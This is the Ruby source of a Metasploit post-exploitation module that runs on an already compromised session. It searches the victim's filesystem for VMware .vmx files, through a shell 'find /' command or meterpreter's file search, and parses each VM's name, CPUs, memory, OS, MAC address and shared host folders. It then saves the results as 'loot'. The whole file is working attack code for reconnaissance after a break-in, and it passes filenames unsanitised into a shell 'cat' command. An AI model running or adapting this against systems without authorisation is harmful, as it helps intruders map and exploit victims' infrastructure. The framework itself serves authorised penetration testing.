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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'yaml'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather VMWare VM Identification',
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        'Description' => %q{
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          This module will attempt to find any VMWare virtual machines stored on the target.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['theLightCosine'],
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        'Platform' => %w[bsd linux osx unix win],
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        'SessionTypes' => ['shell', 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_write
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              stdapi_fs_search
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            ]
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          }
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        }
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      )
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    )
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  end
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  def run
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    if session_has_search_ext
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      vms = meterp_search
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    elsif session.platform =~ /unix|linux|bsd|osx/
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      vms = nix_shell_search
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    end
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    report_vms(vms) if vms
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  end
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  def report_vms(vms)
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    output = "VMWare Virtual Machines\n"
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    output << "--------------------------------\n"
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    vms.each do |vm|
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      next if vm.empty?
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      output << "Name: #{vm['name']}\n"
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      output << "Virtual CPUs: #{vm['cpus']}\n"
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      output << "Memory: #{vm['memsize']}\n"
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      output << "Operating System: #{vm['os']}\n"
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      output << "Network Type: #{vm['eth_type']}\n"
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      output << "MAC Address: #{vm['mac']}\n"
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      output << "Shared Folders:\n"
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      vm['SharedFolders'].each do |folder|
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        output << "\tHost Location: #{folder}\n"
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      end
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      output << "\n"
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    end
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    print_good output
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    store_loot('vmware_vms', 'text/plain', session, output, 'vmware_vms.txt', 'VMWare Virtual Machines')
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  end
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  def nix_shell_search
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    vms = []
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    res = session.shell_command('find / -name "*.vmx" -type f -print 2>/dev/null')
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    res.each_line do |filename|
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      next unless filename.start_with? '/'
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      begin
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        parse = session.shell_command("cat #{filename}")
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        vms << parse_vmx(parse, filename)
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      rescue StandardError
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        print_error "Could not read #{filename} properly"
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      end
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    end
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    return vms
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  end
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  def meterp_search
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    vms = []
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    res = session.fs.file.search(nil, '*.vmx', true, -1)
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    res.each do |vmx|
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      filename = "#{vmx['path']}\\#{vmx['name']}"
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      next if filename.end_with? '.vmxf'
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      begin
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        config = client.fs.file.new(filename, 'r')
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        parse = config.read
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        vms << parse_vmx(parse, filename)
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      rescue StandardError
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        print_error "Could not read #{filename} properly"
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      end
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    end
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    return vms
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  end
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  def parse_vmx(vmx_data, filename)
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    vm = {}
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    unless vmx_data.nil? || vmx_data.empty?
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      vm['SharedFolders'] = []
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      vmx_data.each_line do |line|
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        data = line.split('=')
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        vm['path'] = filename
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        case data[0]
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        when 'memsize '
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          vm['memsize'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'displayName '
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          vm['name'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'guestOS '
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          vm['os'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'ethernet0.connectionType '
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          vm['eth_type'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'ethernet0.generatedAddress '
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          vm['mac'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'numvcpus '
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          vm['cpus'] = data[1].gsub!('"', '').lstrip.chomp
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        when 'sharedFolder0.hostPath '
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          vm['SharedFolders'] << data[1].gsub!('"', '').lstrip.chomp
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        end
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      end
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      vm['cpus'] ||= '1'
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    end
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    return vm
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  end
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  def session_has_search_ext
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    return !!(session.fs and session.fs.file)
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  rescue NoMethodError
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    return false
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  end
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end
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